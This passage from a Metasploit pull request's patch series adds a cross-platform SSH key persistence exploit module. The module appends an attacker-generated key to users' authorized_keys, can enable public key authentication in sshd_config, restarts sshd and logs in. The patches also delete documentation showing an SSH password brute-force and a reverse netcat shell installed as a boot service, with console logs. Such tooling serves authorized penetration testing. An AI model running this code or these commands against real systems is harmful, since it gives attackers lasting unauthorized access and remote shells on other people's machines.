=> [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [] - } - ) - ) - - register_options( - [ - OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]), - OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]), - OptString.new('SSHD_CONFIG', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]), - OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ]) - ] - ) - deregister_options('WritableDir') - end - - def check - print_status('Checking SSH Permissions') - return CheckCode::Safe("#{datastore['SSHD_CONFIG']} not found") unless file?(datastore['SSHD_CONFIG']) - - sshd_config = read_file(datastore['SSHD_CONFIG']) - /^PubkeyAuthentication\s+(?yes|no)/ =~ sshd_config - if pub_key && pub_key == 'no' - return CheckCode::Safe('Pubkey Authentication disabled') - elsif pub_key - vprint_good("Pubkey set to #{pub_key}") - return CheckCode::Detected('Pubkey Authentication enabled') - end - - CheckCode::Unknown('Pubkey Authentication status unknown') - end - - def install_persistence - if session.type == 'meterpreter' - sep = session.fs.file.separator - else - # Guess, but it's probably right - sep = '/' - end - print_status('Checking SSH Permissions') - sshd_config = read_file(datastore['SSHD_CONFIG']) - %r{^AuthorizedKeysFile\s+(?[\w%/.]+)} =~ sshd_config - if auth_key_file - auth_key_file = auth_key_file.gsub('%h', '') - auth_key_file = auth_key_file.gsub('%%', '%') - if auth_key_file.start_with? '/' - auth_key_file = auth_key_file[1..] - end - else - auth_key_file = '.ssh/authorized_keys' - end - print_status("Authorized Keys File: #{auth_key_file}") - - auth_key_folder = auth_key_file.split('/')[0...-1].join('/') - auth_key_file = auth_key_file.split('/')[-1] - if datastore['USERNAME'].nil? - print_status("Finding #{auth_key_folder} directories") - paths = enum_user_directories.map { |d| d + "/#{auth_key_folder}" } - else - if datastore['USERNAME'] == 'root' - paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"] - else - paths = ["/home/#{datastore['USERNAME']}/#{auth_key_folder}"] - end - vprint_status("Added User SSH Path: #{paths.first}") - end - - if datastore['CREATESSHFOLDER'] == true - vprint_status("Attempting to create ssh folders that don't exist") - paths.each do |p| - next if directory?(p) - - print_status("Creating #{p} folder") - mkdir(p) - @clean_up_rc << "rm #{p}\n" - cmd_exec("chmod 700 #{p}") - end - end - - paths = paths.select { |d| directory?(d) } - if paths.nil? || paths.empty? - print_error("No users found with a #{auth_key_folder} directory") - return - end - write_key(paths, auth_key_file, sep) - end - - def write_key(paths, auth_key_file, sep) - if datastore['PUBKEY'].nil? - key = SSHKey.generate - our_pub_key = key.ssh_public_key - loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File') - print_good("Storing new private key as #{loot_path}") - else - our_pub_key = ::File.read(datastore['PUBKEY']) - end - paths.each do |path| - path.chomp! - authorized_keys = "#{path}/#{auth_key_file}" - authorized_keys_content = read_file(authorized_keys) - authorized_keys_backup = store_loot("desktop.#{authorized_keys.split('/').last}", 'text/plain', session, authorized_keys_content, 'auth key file', 'Authorized SSH Key File Backup') - print_status("Backup of #{authorized_keys} saved in #{authorized_keys_backup}") - print_status("Adding key to #{authorized_keys}") - append_file(authorized_keys, "\n#{our_pub_key}") - @clean_up_rc << "upload #{authorized_keys_backup} #{authorized_keys}\n" - vprint_good('Key Added') - next unless datastore['PUBKEY'].nil? - - path_array = path.split(sep) - path_array.pop - user = path_array.pop - credential_data = { - origin_type: :session, - session_id: session_db_id, - post_reference_name: refname, - private_type: :ssh_key, - private_data: key.private_key.to_s, - username: user, - workspace_id: myworkspace_id - } - - create_credential(credential_data) - end - end -end diff --git a/modules/exploits/multi/persistence/sshkey.rb b/modules/exploits/multi/persistence/sshkey.rb new file mode 100644 index 000000000000..cca3d69951fd --- /dev/null +++ b/modules/exploits/multi/persistence/sshkey.rb @@ -0,0 +1,352 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'sshkey' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Post::Linux::User + include Msf::Exploit::Remote::SSH + include Msf::Post::Windows::UserProfiles + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Local::Persistence + include Msf::Exploit::Deprecated + moved_from 'post/windows/manage/sshkey_persistence' + moved_from 'post/linux/manage/sshkey_persistence' + + # ssh_socket + attr_accessor :ssh_socket + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'SSH Key Persistence', + 'Description' => %q{ + This module will add an SSH key to a specified user (or all), to allow + remote login via SSH at any time. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Dean Welch ', # windows + 'h00die ' # linux + ], + 'Platform' => [ 'win', 'linux', 'unix' ], + # these are lies, but for compatibility + 'Arch' => [ + ARCH_CMD, + ], + 'Targets' => [ + [ + 'Automatic', { + 'Type' => :ssh_interact, + 'DefaultOptions' => { + 'PAYLOAD' => 'generic/ssh/interact' + }, + 'Payload' => { + 'Compat' => { + 'PayloadType' => 'ssh_interact' + } + } + } + ] + ], + 'DefaultTarget' => 0, + # end lies + 'SessionTypes' => [ 'meterpreter'], # no shell so we can detect OS automatically + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_fs_mkdir + stdapi_fs_separator + ] + } + }, + 'References' => [ + ['URL', 'https://attack.mitre.org/techniques/T1098/004/'] + ], + 'DisclosureDate' => '1995-01-01', # ssh first release + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + + register_options( + [ + OptString.new('USER', [false, 'User to add SSH key to (Default: all users on box)' ]), + OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]), + OptPath.new('PRIVKEY', [false, 'Private Key File to use. (Default: Create a new one)' ]), + OptString.new('SSHD_CONFIG', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]), + # OptString.new('SSHD_CONFIG', [true, 'sshd_config file', 'C:\ProgramData\ssh\sshd_config' ]), + OptBool.new('ADMIN', [true, 'Add keys for administrator accounts', false ]), + OptPort.new('SSHPORT', [true, 'SSH port', 22]), + ] + ) + + register_advanced_options( + [ + OptBool.new('EDIT_CONFIG', [true, 'Edit ssh config to allow public key authentication', false ]), + OptString.new('ADMIN_KEY_FILE', [true, 'Admin key file', 'C:\ProgramData\ssh\administrators_authorized_keys' ]), + OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ]), + ] + ) + deregister_options('WritableDir', 'RHOSTS') + end + + def check + return CheckCode::Safe("Unable to read SSH config: #{datastore['SSHD_CONFIG']}") unless readable?(datastore['SSHD_CONFIG']) + + if readable?(datastore['SSHD_CONFIG']) + sshd_config = read_file(datastore['SSHD_CONFIG']) + pub_key_allowed = pub_key_auth_allowed?(sshd_config) + + return CheckCode::Detected('Pubkey auth is enabled') if pub_key_allowed + + if !pub_key_allowed && datastore['EDIT_CONFIG'] && writable?(sshd_config) + return CheckCode::Detected('Pubkey auth is NOT enabled, will edit config to allow it') + end + + if !pub_key_allowed && datastore['EDIT_CONFIG'] && !writable?(sshd_config) + return CheckCode::Detected("Pubkey auth is NOT enabled, and unable to write to #{sshd_config}") + end + + if !pub_key_allowed && !datastore['EDIT_CONFIG'] + return CheckCode::Safe('Pubkey auth is NOT enabled, and you have not selected to edit the config') + end + else + print_warning("Unable to read #{datastore['SSHD_CONFIG']}") + end + CheckCode::Detected('Pubkey Authentication status unknown, likely defaults to enabled') + end + + # determine who our target user account is + def target_user + return datastore['USER'] unless datastore['USER'].blank? + + case client.platform + when 'osx', 'freebsd', 'bsd', 'linux' + whoami + else + cmd_exec('echo %USERNAME%') + end + end + + def install_persistence + sep = session.fs.file.separator + + sshd_config = read_file(datastore['SSHD_CONFIG']) + + print_status('Checking SSH Permissions') + if !pub_key_auth_allowed?(sshd_config) && datastore['EDIT_CONFIG'] + print_status('Enabling Pubkey Authentication') + enable_pub_key_auth(sshd_config) + end + + auth_key_file = auth_key_file_name(sshd_config) + + print_status("Authorized Keys File: #{auth_key_file}") + + auth_key_folder = auth_key_file.split('/')[0...-1].join(sep) + auth_key_file = auth_key_file.split('/')[-1] + + # windows specific + if datastore['ADMIN'] # SSH keys for admin accounts are stored in a separate location + admin_auth_key_folder = datastore['ADMIN_KEY_FILE'].split(sep)[0...-1].join(sep) + admin_auth_key_file = datastore['ADMIN_KEY_FILE'].split(sep)[-1] + + print_status("Admin Authorized Keys File: #{admin_auth_key_file}") + + write_key([admin_auth_key_folder], admin_auth_key_file, sep) + end + + user = target_user + vprint_status("Targetting user #{user}") + + paths = [] # likely never bigger than 1 element + case client.platform + when 'osx', 'freebsd', 'bsd', 'linux' + home = get_home_dir(datastore['USER']) + paths << "#{home}#{sep}#{auth_key_folder}" + else + grab_user_profiles.each do |profile| + paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}" if profile['USER'] == datastore['USER'] + end + end + + vprint_status("#{user} ssh path: #{paths}") + + if datastore['CREATESSHFOLDER'] == true + create_ssh_folder(paths) + end + + ssh_keys = get_ssh_keys + + paths = paths.select { |d| directory?(d) } + unless paths.empty? + write_key(paths, auth_key_file, sep) + end + + restart_openssh + + # connect to our new session + ssh_opts = ssh_client_defaults.merge({ + auth_methods: ['publickey'], + key_data: [ ssh_keys['priv'] ], + port: datastore['SSHPORT'] + }) + + fail_with(Failure::NoAccess, 'Failed to authenticate with SSH.') unless do_sshlogin(datastore['RHOST'], 'root', ssh_opts) + + handler(ssh_socket) + @timeout ? ssh_socket.shutdown! : ssh_socket.close + end + + def enable_pub_key_auth(sshd_config) + sshd_config = sshd_config.sub(/^.*(PubkeyAuthentication).*$/, 'PubkeyAuthentication yes') + write_file(datastore['SSHD_CONFIG'], sshd_config) + end + + # create SSH session. + # based on the ssh_opts can this be key or password based. + # if login is successfull, return true else return false. All other errors will trigger an immediate fail + def do_sshlogin(ip, user, ssh_opts) + begin + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + self.ssh_socket = Net::SSH.start(ip, user, ssh_opts) + end + rescue Rex::ConnectionError + fail_with(Failure::Unreachable, 'Disconnected during negotiation') + rescue Net::SSH::Disconnect, ::EOFError + fail_with(Failure::Disconnected, 'Timed out during negotiation') + rescue Net::SSH::AuthenticationFailed + return false + rescue Net::SSH::Exception => e + fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}") + end + + fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket + return true + end + + def pub_key_auth_allowed?(sshd_config) + /^PubkeyAuthentication\s+(?yes|no)/ =~ sshd_config + if pub_key && pub_key == 'no' + print_error('Pubkey Authentication disabled') + return false + elsif pub_key + vprint_good("Pubkey set to #{pub_key}") + else + vprint_warning('Pubkey not found in config') + # still return true since that should be the system default + end + true + end + + def auth_key_file_name(sshd_config) + %r{^AuthorizedKeysFile\s+(?[\w%/.]+)} =~ sshd_config + if auth_key_file + auth_key_file = auth_key_file.gsub('%h', '') + auth_key_file = auth_key_file.gsub('%%', '%') + if auth_key_file.start_with? '/' + auth_key_file = auth_key_file[1..] + end + else + auth_key_file = '.ssh/authorized_keys' + end + auth_key_file + end + + def create_ssh_folder(paths) + vprint_status("Attempting to create ssh folders that don't exist") + paths.each do |p| + unless directory?(p) + print_status("Creating #{p} folder") + session.fs.dir.mkdir(p) + end + end + end + + def restart_openssh + case client.platform + when 'osx', 'freebsd', 'bsd', 'linux' + cmd_exec('service ssh restart') # take a guess + cmd_exec('systemctl restart sshd') + else + cmd_exec('net stop "OpenSSH SSH Server"') + cmd_exec('net start "OpenSSH SSH Server"') + end + end + + def set_pub_key_file_permissions(file) + case client.platform + when 'osx', 'freebsd', 'bsd', 'linux' + cmd_exec("chmod 600 #{file}") + else + cmd_exec("icacls #{file} /inheritance:r") + cmd_exec("icacls #{file} /grant SYSTEM:(F)") + cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)") + end + end + + def session_db_id + session.db_record.id if session.db_record + end + + def get_ssh_keys + if datastore['PUBKEY'].nil? + key = SSHKey.generate + our_pub_key = key.ssh_public_key + our_priv_key = key.private_key.to_s + loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File') + print_good("Storing new private key as #{loot_path}") + + else + our_pub_key = ::File.read(datastore['PUBKEY']) + our_priv_key = ::File.read(datastore['PRIVKEY']) + end + { 'pub' => our_pub_key, 'priv' => our_priv_key } + end + + def write_key(paths, auth_key_file, sep) + if datastore['PUBKEY'].nil? + key = SSHKey.generate + our_pub_key = key.ssh_public_key + loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File') + print_good("Storing new private key as #{loot_path}") + else + our_pub_key = ::File.read(datastore['PUBKEY']) + end + paths.each do |path| + path.chomp! + authorized_keys = "#{path}#{sep}#{auth_key_file}" + print_status("Adding key to #{authorized_keys}") + append_file(authorized_keys, "\n#{our_pub_key}") + print_good('Key Added') + set_pub_key_file_permissions(authorized_keys) + next unless datastore['PUBKEY'].nil? + + path_array = path.split(sep) + path_array.pop + user = path_array.pop + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: refname, + private_type: :ssh_key, + private_data: key.private_key.to_s, + username: user, + workspace_id: myworkspace_id + } + + create_credential(credential_data) + end + end +end diff --git a/modules/exploits/windows/persistence/sshkey.rb b/modules/exploits/windows/persistence/sshkey.rb deleted file mode 100644 index 5d04a84347dd..000000000000 --- a/modules/exploits/windows/persistence/sshkey.rb +++ /dev/null @@ -1,237 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'sshkey' - -class MetasploitModule < Msf::Exploit::Local - Rank = ExcellentRanking - - include Msf::Post::File - include Msf::Post::Windows::UserProfiles - prepend Msf::Exploit::Remote::AutoCheck - include Msf::Exploit::Local::Persistence - include Msf::Exploit::Deprecated - moved_from 'post/windows/manage/sshkey_persistence' - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'SSH Key Persistence', - 'Description' => %q{ - This module will add an SSH key to a specified user (or all), to allow - remote login via SSH at any time. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Dean Welch ' - ], - 'Platform' => [ 'win' ], - # these are lies, but for compatibility - 'Arch' => ARCH_CMD, - 'Targets' => [ ['Automatic', {}] ], - 'DefaultTarget' => 0, - # end lies - 'SessionTypes' => [ 'meterpreter', 'shell' ], - 'Compat' => { - 'Meterpreter' => { - 'Commands' => %w[ - stdapi_fs_mkdir - stdapi_fs_separator - ] - } - }, - 'DisclosureDate' => '1995-01-01', # ssh first release - 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] - } - ) - ) - - register_options( - [ - OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]), - OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]), - OptString.new('SSHD_CONFIG', [true, 'sshd_config file', 'C:\ProgramData\ssh\sshd_config' ]), - OptString.new('ADMIN_KEY_FILE', [true, 'Admin key file', 'C:\ProgramData\ssh\administrators_authorized_keys' ]), - OptBool.new('EDIT_CONFIG', [true, 'Edit ssh config to allow public key authentication', false ]), - OptBool.new('ADMIN', [true, 'Add keys for administrator accounts', false ]), - OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ]) - ] - ) - - deregister_options('WritableDir') - end - - def check - return CheckCode::Safe("Unable to read SSH config: #{datastore['SSHD_CONFIG']}") unless readable?(datastore['SSHD_CONFIG']) - - sshd_config = read_file(datastore['SSHD_CONFIG']) - pub_key_allowed = pub_key_auth_allowed?(sshd_config) - - return CheckCode::Detected('Pubkey auth is enabled') if pub_key_allowed - - if !pub_key_allowed && datastore['EDIT_CONFIG'] && writable?(sshd_config) - return CheckCode::Detected('Pubkey auth is NOT enabled, will edit config to allow it') - end - - if !pub_key_allowed && datastore['EDIT_CONFIG'] && !writable?(sshd_config) - return CheckCode::Detected("Pubkey auth is NOT enabled, and unable to write to #{sshd_config}") - end - - if !pub_key_allowed && !datastore['EDIT_CONFIG'] - return CheckCode::Safe('Pubkey auth is NOT enabled, and you have not selected to edit the config') - end - end - - def run - sep = separator - - sshd_config = read_file(datastore['SSHD_CONFIG']) - - print_status('Checking SSH Permissions') - if !pub_key_auth_allowed?(sshd_config) && datastore['EDIT_CONFIG'] - enable_pub_key_auth(sshd_config) - end - - auth_key_file = auth_key_file_name(sshd_config) - - print_status("Authorized Keys File: #{auth_key_file}") - - auth_key_folder = auth_key_file.split('/')[0...-1].join(sep) - auth_key_file = auth_key_file.split('/')[-1] - - paths = [] - if datastore['USERNAME'] - grab_user_profiles.each do |profile| - paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}" if profile['UserName'] == datastore['USERNAME'] - end - end - - if datastore['ADMIN'] # SSH keys for admin accounts are stored in a separate location - admin_auth_key_folder = datastore['ADMIN_KEY_FILE'].split(sep)[0...-1].join(sep) - admin_auth_key_file = datastore['ADMIN_KEY_FILE'].split(sep)[-1] - - print_status("Admin Authorized Keys File: #{admin_auth_key_file}") - - write_key([admin_auth_key_folder], admin_auth_key_file, sep) - end - - if !datastore['USERNAME'] && !datastore['ADMIN'] - grab_user_profiles.each do |profile| - paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}" - end - end - - if datastore['CREATESSHFOLDER'] == true - create_ssh_folder(paths) - end - - paths = paths.select { |d| directory?(d) } - unless paths.empty? - write_key(paths, auth_key_file, sep) - end - - restart_openssh - end - - def enable_pub_key_auth(sshd_config) - sshd_config = sshd_config.sub(/^.*(PubkeyAuthentication).*$/, 'PubkeyAuthentication yes') - write_file(datastore['SSHD_CONFIG'], sshd_config) - end - - def pub_key_auth_allowed?(sshd_config) - /^PubkeyAuthentication\s+(?yes|no)/ =~ sshd_config - if pub_key && pub_key == 'no' - print_error('Pubkey Authentication disabled') - return false - elsif pub_key - vprint_good("Pubkey set to #{pub_key}") - end - true - end - - def auth_key_file_name(sshd_config) - %r{^AuthorizedKeysFile\s+(?[\w%/.]+)} =~ sshd_config - if auth_key_file - auth_key_file = auth_key_file.gsub('%h', '') - auth_key_file = auth_key_file.gsub('%%', '%') - if auth_key_file.start_with? '/' - auth_key_file = auth_key_file[1..] - end - else - auth_key_file = '.ssh/authorized_keys' - end - auth_key_file - end - - def create_ssh_folder(paths) - vprint_status("Attempting to create ssh folders that don't exist") - paths.each do |p| - unless directory?(p) - print_status("Creating #{p} folder") - session.fs.dir.mkdir(p) - end - end - end - - def restart_openssh - cmd_exec('net stop "OpenSSH SSH Server"') - cmd_exec('net start "OpenSSH SSH Server"') - end - - def set_pub_key_file_permissions(file) - cmd_exec("icacls #{file} /inheritance:r") - cmd_exec("icacls #{file} /grant SYSTEM:(F)") - cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)") - end - - def separator - if session.type == 'meterpreter' - sep = session.fs.file.separator - else - # Guess, but it's probably right - sep = '\\' - end - sep - end - - def write_key(paths, auth_key_file, sep) - if datastore['PUBKEY'].nil? - key = SSHKey.generate - our_pub_key = key.ssh_public_key - loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File') - print_good("Storing new private key as #{loot_path}") - else - our_pub_key = ::File.read(datastore['PUBKEY']) - end - paths.each do |path| - path.chomp! - authorized_keys = "#{path}#{sep}#{auth_key_file}" - print_status("Adding key to #{authorized_keys}") - append_file(authorized_keys, "\n#{our_pub_key}") - print_good('Key Added') - set_pub_key_file_permissions(authorized_keys) - next unless datastore['PUBKEY'].nil? - - path_array = path.split(sep) - path_array.pop - user = path_array.pop - credential_data = { - origin_type: :session, - session_id: session_db_id, - post_reference_name: refname, - private_type: :ssh_key, - private_data: key.private_key.to_s, - username: user, - workspace_id: myworkspace_id - } - - create_credential(credential_data) - end - end -end From dc7fecaea7ba670329e059bab9e5f36d2c655092 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 12 Feb 2025 08:27:18 -0500 Subject: [PATCH 91/94] multi sshkey module, currently bugged --- modules/exploits/multi/persistence/sshkey.rb | 57 ++++++++++---------- 1 file changed, 28 insertions(+), 29 deletions(-) diff --git a/modules/exploits/multi/persistence/sshkey.rb b/modules/exploits/multi/persistence/sshkey.rb index cca3d69951fd..7398ee0efc69 100644 --- a/modules/exploits/multi/persistence/sshkey.rb +++ b/modules/exploits/multi/persistence/sshkey.rb @@ -37,27 +37,30 @@ def initialize(info = {}) 'h00die ' # linux ], 'Platform' => [ 'win', 'linux', 'unix' ], - # these are lies, but for compatibility 'Arch' => [ ARCH_CMD, ], 'Targets' => [ [ 'Automatic', { - 'Type' => :ssh_interact, - 'DefaultOptions' => { - 'PAYLOAD' => 'generic/ssh/interact' - }, - 'Payload' => { - 'Compat' => { - 'PayloadType' => 'ssh_interact' - } - } + # this is causing + # [msf](Jobs:2 Agents:1) exploit(multi/persistence/sshkey) > + # [-] Exploit failed: NoMethodError undefined method `>' for nil:NilClass + # + # 'Type' => :ssh_interact, + # 'DefaultOptions' => { + # 'PAYLOAD' => 'generic/ssh/interact' + # }, + ## + # 'Payload' => { + # 'Compat' => { + # 'PayloadType' => 'ssh_interact' + # } + # } } ] ], 'DefaultTarget' => 0, - # end lies 'SessionTypes' => [ 'meterpreter'], # no shell so we can detect OS automatically 'Compat' => { 'Meterpreter' => { @@ -148,6 +151,7 @@ def install_persistence if !pub_key_auth_allowed?(sshd_config) && datastore['EDIT_CONFIG'] print_status('Enabling Pubkey Authentication') enable_pub_key_auth(sshd_config) + restart_openssh end auth_key_file = auth_key_file_name(sshd_config) @@ -157,6 +161,8 @@ def install_persistence auth_key_folder = auth_key_file.split('/')[0...-1].join(sep) auth_key_file = auth_key_file.split('/')[-1] + ssh_keys = get_ssh_keys + # windows specific if datastore['ADMIN'] # SSH keys for admin accounts are stored in a separate location admin_auth_key_folder = datastore['ADMIN_KEY_FILE'].split(sep)[0...-1].join(sep) @@ -164,7 +170,7 @@ def install_persistence print_status("Admin Authorized Keys File: #{admin_auth_key_file}") - write_key([admin_auth_key_folder], admin_auth_key_file, sep) + write_key([admin_auth_key_folder], admin_auth_key_file, sep, ssh_keys) end user = target_user @@ -173,11 +179,11 @@ def install_persistence paths = [] # likely never bigger than 1 element case client.platform when 'osx', 'freebsd', 'bsd', 'linux' - home = get_home_dir(datastore['USER']) + home = get_home_dir(user) paths << "#{home}#{sep}#{auth_key_folder}" else grab_user_profiles.each do |profile| - paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}" if profile['USER'] == datastore['USER'] + paths << "#{profile['ProfileDir']}#{sep}#{auth_key_folder}" if profile['USER'] == user end end @@ -187,15 +193,11 @@ def install_persistence create_ssh_folder(paths) end - ssh_keys = get_ssh_keys - paths = paths.select { |d| directory?(d) } unless paths.empty? - write_key(paths, auth_key_file, sep) + write_key(paths, auth_key_file, sep, ssh_keys) end - restart_openssh - # connect to our new session ssh_opts = ssh_client_defaults.merge({ auth_methods: ['publickey'], @@ -315,20 +317,17 @@ def get_ssh_keys { 'pub' => our_pub_key, 'priv' => our_priv_key } end - def write_key(paths, auth_key_file, sep) - if datastore['PUBKEY'].nil? - key = SSHKey.generate - our_pub_key = key.ssh_public_key - loot_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File') - print_good("Storing new private key as #{loot_path}") - else - our_pub_key = ::File.read(datastore['PUBKEY']) - end + def write_key(paths, auth_key_file, sep, keys) paths.each do |path| path.chomp! authorized_keys = "#{path}#{sep}#{auth_key_file}" + if exists?(authorized_keys) + loot_location = store_loot('ssh.authorized_keys', 'text/plain', session, read_file(authorized_keys), 'authorized_keys', 'Authorized Keys File') + print_status("Backup of #{authorized_keys} stored in #{loot_location}") + @clean_up_rc << "upload #{loot_location} #{authorized_keys}\n" + end print_status("Adding key to #{authorized_keys}") - append_file(authorized_keys, "\n#{our_pub_key}") + append_file(authorized_keys, "\n#{keys['pub']}") print_good('Key Added') set_pub_key_file_permissions(authorized_keys) next unless datastore['PUBKEY'].nil? From 636eb1ded2a5d0c1d18ae3215045a1c140b0d857 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 12 Feb 2025 15:14:10 -0500 Subject: [PATCH 92/94] persistence place holder --- .../exploit/linux/persistence/systemd.md | 305 ------------------ .../exploit/linux/persistence/sysvinit.md | 305 ------------------ .../exploits/linux/persistence/init_openrc.rb | 2 +- .../linux/persistence/init_systemd.rb | 129 ++++---- .../linux/persistence/init_sysvinit.rb | 2 +- .../linux/persistence/init_upstart.rb | 2 +- .../linux/persistence/yum_package_manager.rb | 1 + 7 files changed, 74 insertions(+), 672 deletions(-) delete mode 100644 documentation/modules/exploit/linux/persistence/systemd.md delete mode 100644 documentation/modules/exploit/linux/persistence/sysvinit.md diff --git a/documentation/modules/exploit/linux/persistence/systemd.md b/documentation/modules/exploit/linux/persistence/systemd.md deleted file mode 100644 index 46d920043406..000000000000 --- a/documentation/modules/exploit/linux/persistence/systemd.md +++ /dev/null @@ -1,305 +0,0 @@ -### Creating A Testing Environment - - This module has been tested against: - -1. Kali 2.0 (System V) -2. Ubuntu 14.04 (Upstart) -3. Ubuntu 16.04 (systemd) -4. Ubuntu 16.04 (systemd user) -5. Centos 5 (System V) -6. Fedora 18 (systemd) -7. Fedora 20 (systemd) - -## Verification Steps - - 1. Start msfconsole - 2. Exploit a box via whatever method - 3. Do: `use exploit/linux/local/service_persistence` - 4. Do: `set session #` - 5. Do: `set verbose true` - 6. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. - 7. Optional Do: `set SHELLAPTH /bin` if needed for compatibility on remote system. - 8. Do: `set lhost` - 9. Do: `exploit` - 10. Do: `use exploit/multi/handler` - 11. Do: `set payload cmd/unix/reverse_python` or `payload cmd/unix/reverse_netcat` depending on system. - 12. Do: `set lhost` - 13. Do: `exploit -j` - 14. Kill your shell (if System V, reboot target). Upstart/systemd wait 10sec - 15. Get Shell - -## Options - -**target** - - There are several targets selectable, which all have their own issues. - -0. Automatic: Detect the service handler automatically based on running `which` to find the admin binaries -1. System V: There is no automated restart, so while you'll get a shell, if it crashes, you'll need to wait for a init shift to restart the process automatically (like a reboot). This logs to syslog or /var/log/.log and .err -2. Upstart: Logs to its own file. This module is set to restart the shell after a 10sec pause, and do this forever. -3. systemd and systemd user: This module is set to restart the shell after a 10sec pause, and do this forever. - -**BACKDOOR_PATH** - - If you need to change the location where the backdoor is written (like on CentOS 5), it can be done here. Default is /usr/local/bin - -**SERVICE** - - The name of the service to create. If not chosen, a 7 character random one is created. - -**SHELL_NAME** - - The name of the file to write with our shell. If not chosen, a 5 character random one is created. - -## Scenarios - -### System V (Centos 5 - root - chkconfig) - -Get initial access - - msf > use auxiliary/scanner/ssh/ssh_login - msf auxiliary(ssh_login) > set rhosts 192.168.199.131 - rhosts => 192.168.199.131 - msf auxiliary(ssh_login) > set username root - username => root - msf auxiliary(ssh_login) > set password centos - password => centos - msf auxiliary(ssh_login) > exploit - - [*] 192.168.199.131:22 SSH - Starting bruteforce - [+] 192.168.199.131:22 SSH - Success: 'root:centos' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-398.el5 #1 SMP Tue Sep 16 20:51:48 EDT 2014 i686 i686 i386 GNU/Linux ' - [*] Command shell session 1 opened (192.168.199.128:49359 -> 192.168.199.131:22) at 2016-06-22 14:27:38 -0400 - [*] Scanned 1 of 1 hosts (100% complete) - [*] Auxiliary module execution completed - -Install our callback service (system_v w/ chkconfig). Note we change BACKDOOR_PATH since /usr/local/bin isnt in the path for CentOS 5 services. - - msf auxiliary(ssh_login) > use exploit/linux/local/service_persistence - msf exploit(service_persistence) > set session 1 - session => 1 - msf exploit(service_persistence) > set verbose true - verbose => true - msf exploit(service_persistence) > set BACKDOOR_PATH /bin - BACKDOOR_PATH => /bin - msf exploit(service_persistence) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(service_persistence) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(service_persistence) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Writing backdoor to /bin/GUIJc - [*] Max line length is 65537 - [*] Writing 95 bytes in 1 chunks of 329 bytes (octal-encoded), using printf - [*] Utilizing System_V - [*] Utilizing chkconfig - [*] Writing service: /etc/init.d/HqdezBF - [*] Max line length is 65537 - [*] Writing 1825 bytes in 1 chunks of 6409 bytes (octal-encoded), using printf - [*] Enabling & starting our service - [*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.131:56182) at 2016-06-22 14:27:50 -0400 - -Reboot the box to prove persistence - - reboot - ^Z - Background session 2? [y/N] y - msf exploit(service_persistence) > use exploit/multi/handler - msf exploit(handler) > set payload cmd/unix/reverse_netcat - payload => cmd/unix/reverse_netcat - msf exploit(handler) > set lhost 192.168.199.128 - lhost => 192.168.199.128 - msf exploit(handler) > exploit - - [*] Started reverse handler on 192.168.199.128:4444 - [*] Starting the payload handler... - [*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.131:44744) at 2016-06-22 14:29:32 -0400 - - -### Upstart (Ubuntu 14.04.4 Server - root) -Of note, I allowed Root login via SSH w/ password only 